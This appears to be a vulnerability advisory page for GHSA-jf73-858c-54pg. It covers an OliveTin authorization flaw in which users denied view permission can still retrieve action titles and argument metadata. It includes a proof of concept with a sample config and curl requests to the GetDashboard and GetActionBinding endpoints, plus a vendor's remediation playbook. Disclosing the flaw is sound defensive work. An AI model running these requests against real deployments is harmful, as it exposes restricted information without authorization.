GHSA-jf73-858c-54pg
MEDIUMOliveTin doesn't check view permission when returning dashboards
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
github.com/OliveTin/OliveTinReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
An authorization flaw in OliveTin allows authenticated users with view: false permission to enumerate action bindings and metadata via dashboard and API endpoints.
Although execution (exec) may be correctly denied, the backend does not enforce IsAllowedView() when constructing dashboard and action binding responses. As a result, restricted users can retrieve action titles, IDs, icons, and argument metadata.
Details
OliveTin defines a view permission in its ACL model (acl.go). However, this permission is not consistently enforced when building dashboard and action metadata responses.
Relevant source locations:
dashboards.go (around line 120, 132) apiActions.go (around line 122) acl.go (around line 125) api.go (around line 430)
Dashboard building logic:
for _, binding := range rr.ex.MapActionBindings {
if binding.Action.Hidden { continue }
action := buildAction(binding, rr) // checks IsAllowedExec only
fieldset.Contents = append(fieldset.Contents, ...)
}
Why vulnerable: IsAllowedView() exists but is not enforced when building dashboard/action metadata. Users with view:false still receive action titles/icons/argument metadata (with canExec:false).
PoC
- Configure OliveTin with a restricted user:
Create config.yaml:
authRequireGuestsToLogin: true
authLocalUsers:
enabled: true
users:
- username: admin
password: "$argon2id$v=19$m=65536,t=4,p=2$puyxA0s555TSFx7hnFLCXA$PyhLGpZtvpMMvc2DgMWkM8OJMKO55euwV5gm//1iwx4" # password: admin123
permissions:
view: true
exec: true
logs: true
- username: low
password: "$argon2id$v=19$m=65536,t=4,p=2$puyxA0s555TSFx7hnFLCXA$PyhLGpZtvpMMvc2DgMWkM8OJMKO55euwV5gm//1iwx4" # password: low123
permissions:
view: false # Should hide all actions
exec: false
logs: false
actions:
- title: "Secret Action"
id: secret_action
shell: echo "sensitive operation"
icon: "🔒"
description: "This action should be completely hidden"
arguments:
- name: target
title: Target
type: string
default: production
-
Start OliveTin with this configuration
-
Login as low-privilege user and capture session ID:
# Login as low user
LOW_SID=$(curl -s -i -X POST http://localhost:1337/api/LocalUserLogin \
-H 'Content-Type: application/json' \
-d '{"username":"low","password":"low123"}' \
| awk -F'[=;]' '/^Set-Cookie: olivetin-sid-local=/{print $2; exit}' | tr -d ' ')
echo "Low user SID: $LOW_SID"
- Verify the web UI respects view:false (optional but illustrative):
Open http://localhost:1337 in a browser logged in as low user - the "Secret Action" should NOT appear in the UI.
- Test 1: GetDashboard endpoint leaks action metadata:
curl -s -X POST http://localhost:1337/api/GetDashboard \
-H 'Content-Type: application/json' \
-H "Cookie: olivetin-sid-local=$LOW_SID" \
-d '{"title":"Actions"}' | jq '.fieldsets[0].contents[] | select(.action.bindingId=="secret_action")'
Expected behavior (if fixed): Empty result or no matching action Observed behavior (vulnerable):
{
"action": {
"bindingId": "secret_action",
"title": "Secret Action",
"icon": "🔒",
"description": "This action should be completely hidden",
"canExec": false,
"arguments": [
{
"name": "target",
"title": "Target",
"type": "string",
"default": "production"
}
]
}
}
- Test 2: GetActionBinding endpoint directly exposes action details:
curl -s -X POST http://localhost:1337/api/GetActionBinding \
-H 'Content-Type: application/json' \
-H "Cookie: olivetin-sid-local=$LOW_SID" \
-d '{"bindingId":"secret_action"}' | jq '.'
Expected behavior (if fixed): HTTP 403 Permission Denied Observed behavior (vulnerable):
{
"action": {
"bindingId": "secret_action",
"title": "Secret Action",
"icon": "🔒",
"description": "This action should be completely hidden",
"canExec": false,
"arguments": [...]
}
}
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/OliveTin/OliveTin | all versions | 0.0.0-20260305082002-d7962710e7c4 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/OliveTin/OliveTin. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update github.com/OliveTin/OliveTin to 0.0.0-20260305082002-d7962710e7c4 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-jf73-858c-54pg is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-jf73-858c-54pg is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-jf73-858c-54pg. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-jf73-858c-54pg in your dependencies?
O3 detects GHSA-jf73-858c-54pg across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.